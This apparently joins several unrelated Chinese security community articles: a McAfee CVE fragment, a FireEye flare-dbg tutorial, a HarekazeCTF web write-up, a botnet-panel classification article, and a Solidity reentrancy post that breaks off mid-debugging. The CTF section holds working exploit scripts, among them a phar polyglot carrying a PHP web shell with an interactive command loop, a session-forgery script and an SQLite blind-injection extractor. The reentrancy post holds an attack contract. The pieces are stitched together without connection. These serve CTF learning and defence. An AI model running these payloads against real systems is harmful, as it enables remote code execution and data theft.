5. 利用CVE-2016-8020（漏洞5）和CVE-2016-8021（漏洞6），可采用发送带有验证令牌的不正确请求的方式来发动攻击，以代替原先执行恶意脚本的攻击方式。
6. 在受到感染的PC上，获得root权限的攻击者可直接运行恶意脚本。
**更多细节以及代码描述请阅读原文：** **【**[
**原文传送门**](http://nation.state.actor/mcafee.html#vuln7) **】** | 社区文章 |
# FLARE脚本系列：自动解码混淆字符串
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.fireeye.com/blog/threat-research/2015/12/flare_script_series.html>
译文仅供参考，具体内容表达以及含义原文为准。
**介绍**
我们的脚本系列已经不仅限于IDA
Pro了。这篇文章将会给大家介绍有关FireEye实验室高级逆向工程(FLARE)脚本的内容，该脚本可用于逆向工程调试器（这是一个非常棒的调试器）。与IDA
Pro类似，调试器debugger也有脚本接口。比如说，OllyDbg使用的是类asm的脚本语言，其Immunity调试器包含有Python接口，而且Windbg也有其自身的脚本编程语言。但是所有的这些选项并不适合快速创建字符串解码的调试脚本。对于Immunity和OllyDbg而言，这两者仅仅支持32位的程序，而Windbg的脚本编程语言是专用于Windbg的。[pykd](https://pykd.codeplex.com/)项目所提供的接口支持Python和Windbg，它可以允许开发者使用Python语言来编写调试器的脚本程序，因为恶意软件的逆向工程师大多都喜欢Python。
我们公布了一个代码库，在此我们称其为flare-dbg。这个库所提供的几个实用的类和功能函数可以允许开发者快速编写能够使Windbg自动进行调试任务的脚本。如果你对此感兴趣的话，请持续关注我们的博客，我们将会提供更多有关debugger脚本的信息。
**字符串解码**
恶意软件的编写人员需要通过混淆代码中的字符串以达到隐藏恶意软件意图的目的。因此，如果你能够快速地对字符串进行反混淆，那么你就可以快速地发现那些恶意软件的真正目的了。
正如我们在《[恶意软件分析实践](http://practicalmalwareanalysis.com/)》一文中提到的，通常有两种反混淆字符串的方法：自解码以及手工编程。自解码方法可以让恶意软件自己解码其代码中的字符串。手工编程需要逆向工程师重新对解码函数进行编程。自解码方式的其中一种就是模拟（仿真），程序会对程序指令集合进行模拟运行。不幸的是，我们还需要模拟代码库的调用，但模拟每一个代码库的调用过程是非常困难的，而且还会导致分析结果不准确。相反，debugger能够对代码的实际运行过程进行分析，这样一来，所有的库函数都可以正常运行。上述的这些方式都有其用武之地，但这篇文章的重点是告诉大家如何使用编译器脚本来对所有经过混淆的字符串进行自动解码。
**当前的挑战**
为了解码所有的混淆字符串，我们需要找到下列信息：字符串解码函数，每次调用它的时间，以及每个实例的所有参数。然后我们还需要运行这个函数，并且记录所有的运行结果。难度和挑战就在于，我们必须采用半自动化的方法来完成这些操作。
**方法**
当前，我们的首要任务就是找到字符串解码函数，并且对该函数进行基本的了解，例如其输入和输出参数等。下一个任务就是验证这个字符串解码函数的调用时间，以及每次调用所需要的全部参数。在不使用IDA的情况下，最实用的工具就是[Vivisect](https://github.com/vivisect/vivisect)（一个Python项目，可用于二进制代码的分析）。Vivisect包含几种启发式算法，可用于验证函数和交叉引用。除此之外，Vivisect还可以进行模拟和分解一系列操作码，这将有助于我们对函数参数进行分析和验证。如果你还没有做好准备，那么我建议你查看一下FLARE脚本系列教程的[相关文章](https://www.fireeye.com/blog/threat-research/2015/11/flare_ida_pro_script.html)，文章中同样会使用到Vivisect。
**flare-dbg介绍**
这次，FLARE团队给大家带来的是一个Python项目，即基于pykd的flare-dbg。该项目的目标就是让Windbg脚本编程变得更加简单。flare-dbg项目的精髓就是DebugUtils类，这个类包含有几个非常重要的功能：
l 内存和寄存器操作
l 堆栈操作
l 调试执行
l 断点
l 函数调用
除了调试器所需的基本功能函数之外，DebugUtils类还可以利用Vivisect来操作二进制代码的分析部分。
**举例说明**
我编写了一小段简单的恶意软件，并且通过编码来隐藏了其中的字符串。在图片1中，我使用了一个名为string_decoder的函数来解码HTTP用户代理程序中的字符串。
图片1:字符串加码函数
在粗略地看了一下string_decoder函数之后，可以发现其中有下列几个参数：编码字符串的字节偏移量，输出地址，以及长度等信息。这个函数用C语言可以表示成下图所示的函数形式：
既然我们已经对string_decoder函数有了一个大致的了解了，那么我们就可以开始使用Windbg和flare-dbg来测试解码功能了。首先，我们需要运行Windbg，然后在Windbg中开启Python的交互接口（shell），然后导入flaredbg。此时，你应该得到类似下图的界面：
接下来，我们创建一个DebugUtils对象，该对象包含有一个函数，我们在控制调试器的时候将会用到它。
当然了，我们还需要为输出字符串分配一个大小为0x3A字节的内存空间。然后使用新分配的内存来进行参数配置。
最后，我们调用string_decoder函数，其虚拟地址为0x401000，然后读取输出字符串的缓冲区数据。
上述操作完成之后，我们就可以用flare-dbg来对字符串进行解码了。图片2显示的就是调试器脚本的一个实例。完整的脚本代码可以在我们的Github代码库中获取到。
图片2:调试器脚本的实例
接下来，让我们对脚本代码进行详细的分析。
首先，我们得确定字符串解码函数的虚拟地址，然后创建DebugUtils对象。接下来，我们使用DebugUtils类的函数get_call_list来得到string_decoder函数在每次调用时所需要的参数。
当call_list生成之后，我们就可以对所有的调用地址和进行迭代并组合参数。比如说，输出字符串将会被解码至堆栈。因为我们只执行了字符串解码函数，但恶意软件中并没有配置同样的堆栈，所以我们必须为输出字符串分配内存。我们所需要的第三个参数为length（长度），用于制定内存分配的大小。当我们成功为输出字符串分配了内存之后，我们就可以将最新分配的内存地址作为第二个参数传入函数中。
最后，我们可以通过DebugUtils类的调用函数来调用string_decoder函数。当所有的字符串成功解码之后，最后一步就是读取这些字符串。
运行调试器脚本，便能够得到下列输出结果：
所有的解码字符串以及地址下图片3所示：
图片3：解码字符串
**总结**
请持续关注我们有关调试器脚本的文章，我们还会对相关的功能插件进行介绍！现在，你就可以访问Github主页，并访问[flare-dbg页面](https://github.com/fireeye/flare-dbg)来开始你的实践。该项目将会用到[pykd](https://pykd.codeplex.com/),[winappdbg](http://winappdbg.sourceforge.net/)，以及[vivisect](https://github.com/vivisect/vivisect)。 | 社区文章 |
在 buuoj 上看到的这个比赛题目，期间平台关了，就拿了 Dockerfile 本地做了，web 题目感觉还不错
# encode_and_encode [100]
* 打开靶机，前两个页面都是 html 页面，第三个给了页面源码
* 源码如下
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
* `file_get_contents('php://input')` 获取 post 的数据，`json_decode($body, true)` 用 json 格式解码 post 的数据，然后 `is_valid($body)` 对 post 数据检验，大概输入的格式如下
* `is_valid($body)` 对 post 数据检验，导致无法传输 `$banword` 中的关键词，也就无法传输 `flag`，这里在 json 中，可以使用 Unicode 编码绕过，`flag` 就等于 `\u0066\u006c\u0061\u0067`
* 通过检验后，获取 `page` 对应的文件，并且页面里的内容也要通过 `is_valid` 检验，然后将文件中 `HarekazeCTF{}` 替换为 `HarekazeCTF{<censored>}` ，这样就无法明文读取 flag
* 这里传入 `/\u0066\u006c\u0061\u0067` 后，由于 `flag` 文件中也包含 flag 关键字，所以返回 `not found` ，这也无法使用 `file://`
* `file_get_contents` 是可以触发 `php://filter` 的，所以考虑使用伪协议读取，对 `php` 的过滤使用 `Unicode` 绕过即可
* 可以看出，json 在传输时是 Unicode 编码的
# Avatar Uploader 1 [100]
* 给了源码，打开靶机，登录之后，是一个文件上传
* 首先 `config.php` 中定义了一些常量
* 然后在 `upload.php` 中判断文件大小，并使用 `FILEINFO` 判断上传图片类型，上传图片只能是 png 类型
* 后面再用 `getimagesize` 判断文件像素大小，并且再进行一次类型判断，如果不是 png 类型就给出 flag
* 在这两种判断上传图片类型的函数中，有一个很有趣的现象， `FILEINFO` 可以识别 png 图片( 十六进制下 )的第一行，而 `getimagesize` 不可以，代码如下
<?php
$file = finfo_open(FILEINFO_MIME_TYPE);
var_dump(finfo_file($file, "test"));
$f = getimagesize("test");
var_dump($f[2] === IMAGETYPE_PNG);
* 结果，16进制文件也在下面
* 直接上传这个文件就可以获取 flag 了
# Easy Notes [200]
* 给了源码，打开靶机，是一个笔记系统
* 在登陆处进行了匹配，只允许输入 4 到 64 位规定字符，且不是前端验证
* 登陆成功后，可以进行增删查和导出为 zip 或 tar 的功能，点击 `Get flag` 提示不是 admin
* 既然拿到源码就先看看全局配置 `config.php` ，就写了一行，定义临时文件目录
define('TEMP_DIR', '/var/www/tmp');
* 进入 `page/flag.php` 看一下给出 flag 的条件，要满足 `is_admin()` 函数
* 跟进 `is_admin()` 函数，没有发现什么可以利用的地方
* 看到有个导出功能，它会将添加的 note 导出为 zip，这个文件存放的位置在 `TEMP_DIR` ，和 `session` 信息保存在同一个位置，那么是不是可以考虑伪造 session
* session 文件以 `sess_` 开头，且只含有 `a-z`，`A-Z`，`0-9`，`-`
* 看到 `$filename` 处可以满足所有的条件
* 构造 `user` 为 `sess_` ，`type` 为 `.` ，经过处理之后，`$path` 就是 `TEMP_DIR/sess_0123456789abcdef` 这就伪造了一个 session 文件
* 然后向这个文件写入 note 的 `title`
* php 默认的 session 反序列化方式是 `php` ，其存储方式为 `键名+竖线+经过serialize函数序列处理的值` ，这就可以伪造 `admin` 了
* 在最后，它会将构造的 `$filename` 返回，这样就可以拿到构造出的 admin 的 session 数据
* 很典型的 session 伪造，session 反序列化
* 利用脚本
import re
import requests
URL = 'http://192.168.233.136:9000/'
while True:
# login as sess_
sess = requests.Session()
sess.post(URL + 'login.php', data={
'user': 'sess_'
})
# make a crafted note
sess.post(URL + 'add.php', data={
'title': '|N;admin|b:1;',
'body': 'hello'
})
# make a fake session
r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
print(r)
sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
print(sessid)
# get the flag
r = requests.get(URL + '?page=flag', cookies={
'PHPSESSID': sessid
}).content.decode('utf-8')
flag = re.findall(r'HarekazeCTF\{.+\}', r)
if len(flag) > 0:
print(flag[0])
break
# Avatar Uploader 2 [300]
* 接 `Uploader1` ，这里是找第二个 flag
* 给的 hint: <https://php.net/manual/ja/function.password-hash.php>
* `upload.php` 中可以利用的暂时已经利用完了，看一下 `index.php` 吧
* `index.php` 代码简化大致如下
<?php
error_reporting(0);
require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
if ($session->isset('flash')) {
$flash = $session->get('flash');
$session->unset('flash');
}
$avatar = $session->isset('avatar') ? 'uploads/' . $session->get('avatar') : 'default.png' ;
$session->save();
include('common.css');
include($session->get('theme', 'light') . '.css');
if ($session->isset('name')) {
echo "Hello".$session->get('name')."</br>";
}
if ($flash) {
echo $flash['type']."</br>";
echo $flash['message']."</br>";
}
if ($session->isset('name')) {
echo "Please upload"."</br>";
} else {
echo "Please sign in"."</br>";
}
* 这里的 session 处理机制是自己写的，在 `lib\session.php` 中，首先确认的事情是，登录后 HTTP 头部返回的 `Cookie` 是 `session=******.******` 这种格式的
* 首先 `__construct` 中，判断 `session` 是否存在 `$_COOKIE` 中，如果存在则以 `.` 分割 `session` ，然后对 `data` 和 `signature` 进行 `verify` 函数认证，认证成功就返回数据的 `json_decode` 的结果
* `isset` 中判断参数 `$key` 是否在 `data` 中，`get` 中返回 `data` 中 `key` 为参数 `$key` 的数据，`set` 中将 `data` 中 `key` 为参数 `$key` 的数据设置为参数 `$value`，`unset` 中删除 `data` 中 `key` 为参数 `$key` 的数据
* `save` 中将 `data` 转化为 json 并进行 `urlsafe_base64_encode`，再用 `sign` 对 `data` 进行签名
* 这样整个 `session.php` 就完了，回到 `index.php`，然后进行的是 `flash` 的判断，找了一下，在 `lib\util.php` 中描述了 `flash` 并且给了调用 `flash` 函数的条件，即 `error` 函数，找了一下，`error` 在 `upload.php` 中，上传失败时调用
* 做的测试如图，`flash` 将错误信息保存在 `session` 中的
* 根据给的提示，`password_hash` 函数是存在安全隐患的，它的第一个参数不能超过 72 个字符，这个函数在 `sign` 中被调用，`sign` 被 `save` 调用，`save` 在 `index.php` 中被调用
* `password_hash` 函数的漏洞就意味着只对前 72 个字符进行签名，只要前 72 个字符相同，那么就会在校验时通过
* 那么是不是可以登录一次，然后访问 `upload.php` 触发 `error` 函数，这样就能绕过 session 校验，然后对 data 信息进行修改，进而触发其他操作
* 可以看到，在 `index.php` 中存在一行代码 `include($session->get('theme','light').'.css');` ，session 信息是由我们控制的，那么就可以通过 phar 协议，触发 LFI ，首先要把 phar 文件上传，里面复合一个假的 css 文件，存放一句话，这样就可以在 `include` 时触发 RCE
* 生成 phar 代码
<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
* 本地对这个 phar 做的一个测试
* 新登录一个用户，上传这个 phar，记录这个 phar 的地址和名字，然后去 `upload.php` 触发一次 `error` ，记录 `data` 和 `signature` ，修改 `data` ，增加 `theme` 键，键值为 phar 协议读取上传的文件，然后生成 session 再去访问 `index.php` 传入命令即可
* exp.py
import base64
import json
import re
import requests
import urllib.parse
url = 'http://192.168.233.136:9003/'
def b64decode(s):
return base64.urlsafe_b64decode(s + '=' * (3 - (3 + len(s)) % 4))
sess = requests.Session()
username = b"peri0d".decode()
url_1 = url + 'signin.php'
sess.post(url=url_1, data={'name': username})
url_2 = url + 'upload.php'
f = open('exp.phar', 'rb')
sess.post(url_2, files={'file': ('exp.png', f)})
data = sess.cookies['session'].split('.')[0]
data = json.loads(b64decode(data))
avatar = data['avatar']
url_3 = url + 'upload.php'
sess.get(url_3, allow_redirects=False)
data, sig = sess.cookies['session'].split('.')
data = b64decode(data)
payload = data.replace(b'}}', '}},"theme":"phar://uploads/{}/exp"}}'.format(avatar).encode())
sess.cookies.set('session', base64.b64encode(payload).decode().replace('=', '') + '.' + sig)
while True:
command = input('> ')
c = sess.get(url + '?cmd=' + urllib.parse.quote(command)).content.decode()
result = re.findall(r'/\* light/dark.css \*/(.+)/\*\*/', c, flags=re.DOTALL)[0]
print(result.strip())
# Sqlite Voting [350]
* 打开靶机，看到投票的页面，并且给了源码
* 在 `vote.php` 页面 `POST` 参数 `id` ，只能为数字。并且在 `schema.sql` 中发现了 `flag` 表
DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`name` TEXT NOT NULL,
`count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES
('dog', 0),
('cat', 0),
('zebra', 0),
('koala', 0);
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
* 在 `vote.php` 中给出了查询的 SQL 语句，但是对参数进行了检测
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ - "[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
* `UPDATE` 成功与失败分别对应了不同的页面，那么是不是可以进行盲注，但是考虑到它过滤了 `'` 和 `"` 这就无法使用字符进行判断，`char` 又被过滤也无法使用 ASCII 码判断
* 所以可以考虑使用 `hex` 进行字符判断，将所有的的字符串组合用有限的 36 个字符表示
* 先考虑对 flag 16 进制长度的判断，假设它的长度为 `x`，`y` 表示 2 的 n 次方，那么 `x&y` 就能表现出 `x` 二进制为 1 的位置，将这些 `y` 再进行或运算就可以得到完整的 `x` 的二进制，也就得到了 flag 的长度，而 `1<<n` 恰可以表示 2 的 n 次方
* 那么如何构造报错语句呢？在 `sqlite3` 中，`abs` 函数有一个整数溢出的报错，如果 `abs` 的参数是 `-9223372036854775808` 就会报错，同样如果是正数也会报错
* 判断长度的 payload : `abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)`
* 脚本如下，长度 84
import requests
url = "http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php"
l = 0
for n in range(16):
payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
data = {
'id' : payload
}
r = requests.post(url=url, data=data)
print(r.text)
if 'occurred' in r.text:
l = l|1<<n
print(l)
* 然后考虑逐字符进行判断，但是 `is_valid()` 过滤了大部分截取字符的函数，而且也无法用 ASCII 码判断
* 这一题对盲注语句的构造很巧妙，首先利用如下语句分别构造出 `ABCDEF` ，这样十六进制的所有字符都可以使用了，并且使用 `trim(0,0)` 来表示空字符
# hex(b'zebra') = 7A65627261
# 除去 12567 就是 A ，其余同理
A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
C = 'trim(hex(typeof(.1)),12567)'
D = 'trim(hex(0xffffffffffffffff),123)'
E = 'trim(hex(0.1),1230)'
F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
# hex(b'koala') = 6B6F616C61
# 除去 16CF 就是 B
B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
* 然后逐字符进行爆破，已经知道 flag 格式为 `flag{}` ，`hex(b'flag{')==666C61677B` ，在其后面逐位添加十六进制字符，构成 paylaod
* 再利用 `replace(length(replace(flag,payload,''))),84,'')` 这个语句进行判断
* 如果 flag 不包含 payload ，那么得到的 `length` 必为 84 ，最外面的 `replace` 将返回 `false` ，通过 `case when then else` 构造 `abs` 参数为 `0` ，它不报错
* 如果 flag 包含 payload ，那么 `replace(flag, payload, '')` 将 flag 中的 payload 替换为空，得到的 `length` 必不为 84 ，最外面的 `replace` 将返回 `true` ，通过 `case when then else` 构造 `abs` 参数为 `0x8000000000000000` 令其报错
* 以上就可以根据报错爆破出 flag，最后附上出题人脚本
# coding: utf-8
import binascii
import requests
URL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php'
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
# 题目总结
1. json 传输时是 Unicode 编码的，可以使用 Unicode 编码来绕过一个关键词过滤
2. `FILEINFO` 可以识别 png 图片( 十六进制下 )的第一行，而 `getimagesize` 不可以
3. php 默认的 session 反序列化方式是 `php` ，其存储方式为 `键名+竖线+经过serialize函数序列处理的值` ，默认保存在 `/tmp`
4. 上传文件存放的位置在 `TEMP_DIR` ，和 `session` 信息保存在同一个位置，那么是不是可以考虑伪造 session
5. `password_hash` 函数只对第一个参数的前 72 个字符有效
6. phar 是一系列文件的集合，通过 `addFromString(filename, file_content)` 写入信息，那么通过 `phar://test.phar/filename` 自然可以读取到，通常文件上传多可以考虑 phar
7. sqlite3 盲注 bypass ，利用 replace() 和 length 进行爆破，trim() 替换空字符，trim() 和 hex() 构造字符，& 特性获取长度等等，在 mysql 中也存在溢出的现象
# 参考链接
* <https://www.cnblogs.com/2881064178dinfeng/p/6150645.html>
* <https://www.cnblogs.com/lipcblog/p/7348732.html> | 社区文章 |
# 【技术分享】机器学习安全：鉴别僵尸网络面板
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://blog.cylance.com/teaching-machines-security-identifying-botnet-panels>
译文仅供参考，具体内容表达以及含义原文为准。
如今越来越多的设备添加了与互联网相连的功能，借此来提高自身性能，改善用户体验。但是大多数设备都没有配备足够的安全措施来保护自己的数据，这就使得这些设备很容易被滥用。
滥用的最普遍形式之一就是用这些相互关联的设备创建僵尸网络，这是个拥有强大计算能力的互连设备隐蔽网络，这种强大的计算能力往往会被滥用来大范围操纵垃圾电子邮件或DOS攻击活动。经过这几年企业与执法部门之间的共同努力，主要的几个僵尸网络（如Rustock、Ramnet和
Waledac）已经被打破。但是，由于很难确定它们发送指令和控制的服务器，目前仍有无数的此类网络依旧活跃。
很明显我们需要开发出更先进的识别技术，尤其是查明C2面板的好办法，这样才能提供明确的证据要求禁用托管C2的IP/域名，这也是发生滥用的指标。这种方法也会十分有利于研究僵尸网络，并最终彻底击败僵尸网络。
一般情况下，我们会先观察到存在恶意软件活动，然后才会发现僵尸网络面板，接下来会确定具体的恶意软件所连接的“背后凶手”。这种鉴定过程往往需要对C2面板类型十分了解的研究人员手动操作。在接下来的文章中，我们将会讨论一种新型的、易于规模化应用的全自动鉴定C2面板方法，这种方法需要的请求数量非常少，所以基本不会被僵尸网络操作人员发现。
**介绍**
机器学习可以解决查明僵尸网络指挥和控制（C2）面板这个大问题。虽然机器学习本身就是一个难以掌握的难题，但是这带来了一个全新的解决问题工具，对于黑客和工程师来说这是划时代的变化。
在感受过机器学习的能量之后，我迫切地想要将其攻破并运用在更多的安全工具中。在2016年美国黑帽大会上我们展示了这一系列工具。这一项目的相关内容以及项目的Chrome
扩展可以在GitHub 中找到。
**鉴别僵尸网络面板**
* * *
在追踪僵尸网络时，像我一样的安全工作者经常会发现隐藏很深的C2面板。尽管DiamondFox的开发者选择确定面板的真正目的，但事实上大多数开发者都习惯于掩盖自己的意图。
举例来说，Zeus的登陆页面看起来十分正常，毫不起眼：
在许多案例中，僵尸网络的运行者都会粉饰自己的C2面板，甚至会骗过最专业的研究人员，使其难以辨别真相。
但是按常理来说，这些运营商一定不会花费心思改写整个面板，所以总会有一些残留的内容。这些残留一般会藏在资源文件中。
**机器学习vs 僵尸网络面板**
我们可以结合机器学习与模糊哈希打造一个弹性分类器，这样可以按需优化成尽可能少的请求，用来查明这些僵尸网络面板，不管这些面板是否经过修改。
从机器学习的角度来看，这一课题带来了许多有趣的挑战。最大的问题就是已知的活跃僵尸网络面板数量有限。回顾过去可以找到很多已知的活跃面板，但是在给定时间内已知的活跃面板少之又少。这是因为在大多数案例中，某个面板一经发现，用不了多少时间就会被取缔。
活跃样本数量稀缺使得分类变得困难，只有找到更多的数据我们才能更顺利地开展工作。此外，由于这是一个对抗性问题，我们的分类手段必须要能适应僵尸网络运营商的策略，以避免检测。这就意味着我们可能会需要做很多不必要的工作。
最后，我们需要隐身和效率，这就意味着请求数量越少越好。因此，我们需要尽可能减少分类所需的信息量，这就要求我们要以一种微妙的平衡来处理这一问题。
经过这一方法分类之后，僵尸网络面板主要有以下几类：
Andromeda
Betabot
Citadel
Cythosia
Dendroid
Dexter
DiamondFox
Ice IX
JackPOS (Easter variety)
Pony
Solar bot
VertexNet
Zeus
**收集特征和样本**
* * *
将机器学习融入现实世界面临的最重要也是最困难的问题之一就是特征工程。特征通常情况下会表示为0到1之间的值，这些值会从数据中提取，然后输入机器学习的算法当中。
在许多情况下，这一过程中的困难就是确定有关信息，这将会贯穿所有样本（数据点），并且为分类提供了所需值。在我们的示例中，我们正打算在请求结果的基础上创建特征，借此来确定它是否是C2面板。
为了创建功能设置，我们需要确定所有已知的、与僵尸网络C2面板有关的偏移量，我将这一设置叫做“prevectors”。我们对测验组中的每一个样本都请求了所有的已知偏移量，这组测验组当中的所有URL我们都已经确定了它们的属性。这样操作之后界面非常混乱，因为每一个面板都产生了成千上万个请求。
为了更加清晰，我们为测验组中的每一个面板都请求了所有已知偏移量，并将HTTP回应代码和使用这些结果返回结果的ssDeep都存储下来。这使得我们能够确认所有的状态代码都是相同的，并且比较内容时无需存储这些内容。因为首先会匹配回应代码，所以ssDeep对比产生的评分就相当于特征值。
我们已经在所有已知僵尸网络和非僵尸网络中运行了
prevectors，之后需要通过查找重复结果来减少请求数量。如果对于同一个给定请求，相应代码是相同的，那么ssDeep值就是100%匹配，那我们就可以删除这个多余特征。
在减少了特征集之后，我们开始将prevectors
转换为矢量。简单来说，机器学习领域的矢量就是一维数组的值，它们代表从样品中提取的特征。将一个样本转换成矢量时，我们会以同样的顺序处理每一个特征，并且更新矢量中的每个值来匹配特征结果。
一旦生成了矢量集，就可以将其贴上“标签”存储起来，标签会说明这是哪个僵尸网络的面板：
**训练**
现在我们有了自己的矢量和对应标签，可以将其分类为训练组和测试组。训练组大约占到样本数量的80%，剩下的就是测试组。
我们需要确保每一个标签都经过这两个组的检验，尽管这一步骤十分简单，却是极其重要不容忽略的一步。如果我们没能在每个组中包括每一个标签的样本，我们就无法让模型学会区分每个标签，并在模型建成后测试其准确性。
在我们的示例中，我们选择使用决策树集合以满足需求。决策树是一个简单的分类，针对每个特征制定二进制决策，从而将训练数据完美地分成包含大多数（或全部）标签的多个小组。决策树的最大优势就是能够基于很小数目特征制定决策，并因此为我们提供实际所需的信息。
不幸的是，这种做法总会过拟合，意思就是它们从训练数据中提取太多信息，对测试数据却完全不够。为此，我们重新整合了决策树（训练多重决策树并让其表决答案），这可以避免过拟合：
**分类**
一旦模型建立，我们就可以将其传递给决策树。每一个决策树都会为其分配标签，之后所有的决策树结果会结合出出现最多的最终结果。对于这种对抗性问题，用户还会看到标签的置信水平，可以说明该标签的可信程度。
例如：
**Chrome扩展**
* * *
一般来说，我会在浏览器中检查、搜索页面来确定僵尸网络。为此，我已经创建了一个Chrome扩展，结合这个模型可以在我访问的任何网站中自动执行这个分类方法。
在访问一个新的网站目录时，它就会自动执行请求分类（请求数目少于40个），如果发现有关僵尸网络的任何迹象会立刻警告用户。相关结果会存储下来，以便日后参考。
详情请参考：
**结论**
* * *
僵尸网络面板分类是个棘手的问题，但是机器学习的创新应用可以快速有效地解决它，随着数据的不断增长，这个强有力工具的价值会日益显现。它对安全专业人员和工程师的作用也会越来越大，至少目前这是个了解机器学习的好帮手。 | 社区文章 |
# 再谈重入攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
前几天无意间看到一篇名为[ **Most common smart contract bugs of
2020**](https://medium.com/solidified/most-common-smart-contract-bugs-of-2020-c1edfe9340ac)的报告，进去认真看了一下，发现提到的一个重入攻击挺有意思的。就来复现一下。整个过程中也碰到了一些有意思的点。很遗憾的是，在即将写完这篇文章的时候，我在实际的审计过程中也遇到了相似的代码实现。
## 代码分析
先来看一段代码
function update() {
uint value = deposits[msg.sender];
safeTransferETH(msg.sender, value)
deposits[msg.sender] = 0;
}
分析发现这一段代码的功能是：
* 获取用户的存款数额
* 使用`safeTransferETH`函数发送用户的存款
* 把用户的存款数额置为零
一般的审计会认为这段代码是安全的，因为其使用的是`safeTransferETH`一般意义上是安全的函数。
但是让我们跟入`safeTransferETH`函数去看一下
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
熟悉重入攻击的人一下子就能发现，这段代码十分的不安全。不了解的可以看这一篇[文章](https://zpano.cn/2021/07/22/22/)
## 尝试攻击
按照之前的攻击思路，完善一下受害合约，顺便写一下攻击合约
pragma solidity ^0.8.0;
//受害合约
contract reterry{
mapping(address => uint) deposits;
function deposit() public payable{
deposits[msg.sender] += msg.value;
}
function update() public{
uint value = deposits[msg.sender];
safeTransferETH(msg.sender, value);
deposits[msg.sender] = 0;
}
function getdeposit(address acoumt) public view returns(uint256){
return deposits[acoumt];
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
function getbalance()public view returns(uint256){
return address(this).balance;
}
}
//攻击合约
contract attack{
reterry a= reterry(address(Victimized contract);
uint256 i=0;
fallback() external payable {
a.update();
}
function deposit() public {
a.deposit{value: 1 ether}();
}
function attack1() public {
a.update();
}
constructor() payable{}
}
### 第一次尝试
进行一些初始化之后
然后我们调用attack1函数进行攻击
很遗憾的交易失败，我进行了debug调试
